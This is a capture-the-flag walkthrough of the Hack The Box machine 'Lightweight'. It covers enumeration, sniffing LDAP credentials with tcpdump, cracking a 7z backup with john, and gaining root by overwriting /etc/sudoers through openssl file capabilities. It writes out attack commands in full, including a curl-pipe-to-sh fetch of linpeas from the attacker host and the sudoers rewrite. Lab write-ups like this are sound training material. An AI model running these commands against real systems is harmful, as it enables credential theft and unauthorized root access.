Web
The webpage has a nice looking image-slider:
The ‘info.php’ page sets out the scenario (a penetration test) and gives us a light warning:
Status.php
gives us a list of banned IPs:
The user.php
page reflects our IP, and informs us how to login with it via the ssh service.
It Works!
Enumeration
Checking out /var/www/html
first:
[10.10.14.35@lightweight html]$ ls
banned.txt css index.php info.php js reset.php reset_req status.php user.php
[10.10.14.35@lightweight html]$
Checking out the /etc/passwd
file to enumerate the users:

[10.10.14.35@lightweight html]$
Besides another HTB haxor in the machine (10.10.14.2), we find the two ‘ldap’ user accounts.
For quick and effective enumeration we can use the linpeas.sh
script.
first check to make sure curl is installed.
linpeas.sh
[10.10.14.18@lightweight boo]$ which curl
/usr/bin/curl
Good, we can run linpeas with curl from the attacking box, so we don’t need to transfer it to the target!
Start a python web server to host the file.
python3 -m http.server 80
I create the temp working folder /var/tmp/boo
mkdir /var/tmp/boo
from there I use curl to run the script.
[10.10.14.18@lightweight boo]$ curl http://10.10.14.35/linpeas.sh |sh |tee -a enum.txt
We can examine the output from stdout, or the created ‘enum.txt’ file, we can transfer this back to Kali a number of ways.
Since we already have ssh access the quickest is probably via scp
(from Kali):
scp 10.10.14.35@10.10.10.119:/var/tmp/boo/enum.txt .
Another easy way would be to base64 encode the file, then copypaste the resultant encoding back on kali and decode it to file.
cat enum.txt |base64 -w0
Then on Kali:
echo <base64 encoding> |base64 -d > enum.txt
TcpDump
Ldap can use simple authentication we can try to sniff local traffic to the ldap port,
Check if the target has tcpdump installed:
[10.10.14.35@lightweight boo]$ which tcpdump
/usr/sbin/tcpdump
tcpdump -i lo -nnXs 0 'port 389' -vv |tee -a dump.pcap
Let it run for a while…To stimulate traffic, visit the ‘status’ page in the browser.
press ^c to stop the scan.
^C55 packets captured
110 packets received by filter
0 packets dropped by kernel
a good amount of packets captured.
Looking at the packets in stdout, we can see the creds caught in the traffic.
We can use scp
again to get the dump file back to Kali.
scp 10.10.14.35@10.10.10.119:/var/tmp/boo/dump.pcap .
10.10.14.35@10.10.10.119's password:
dump.pcap 100% 28KB 142.2KB/s 00:00
It looks like an md5 hash of the password, but because it is ‘simple authentication’ it is actually the plaintext password!
We can switch users to ldapuser2:
su ldapuser2
password: 8bc8251332abe1d7f105d3e53ad39ac2
we got ldapuser2 shell…
[ldapuser2@lightweight boo]$ id
uid=1001(ldapuser2) gid=1001(ldapuser2) groups=1001(ldapuser2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Privilege Escalation
check out ldapuser2’s home directory:
[ldapuser2@lightweight boo]$ cd
[ldapuser2@lightweight ~]$ ls
backup.7z OpenLDAP-Admin-Guide.pdf OpenLdap.pdf user.txt
Grab the user flag.
[ldapuser2@lightweight ~]$ cat user.txt
8a8xxxxxxxxxxxxxxxxxxxxxxxxxx026
We can copy over the backup.7z file, again with scp
(with the new creds) or with the base64 encoding method.
cat backup.7z |base64 -w0

We need a password to unzip the file, 7ztojohn.pl can make the file’s hash palatable for john.
/usr/share/john/7z2john.pl backup.7z > hash.txt
now we can use john to crack the password
john -w=/usr/share/wordlists/rockyou.txt hash.txt
the password = delete
We can now unzip the file:

We can check the capabilities of the program files here with the getcap command.
getcap . 2>/dev/null
The results are surprising.
[ldapuser1@lightweight ~]$ getcap . 2>/dev/null
./tcpdump = cap_net_admin,cap_net_raw+ep
./openssl =ep
openssl has ep cap set, so it can do anything!
We can use openssl to base64 encode a copy of the sudoers file,
./openssl base64 -in /etc/sudoers |base64 -d > /dev/shm/sud
give ldapuser1 ALL sudo privileges,
echo "ldapuser1 ALL=(ALL) ALL" >>/dev/shm/sud
then replace the original file with the modified one.
cat /dev/shm/sud |base64 | ./openssl enc -d -base64 -out /etc/sudoers
Grab the root flag:
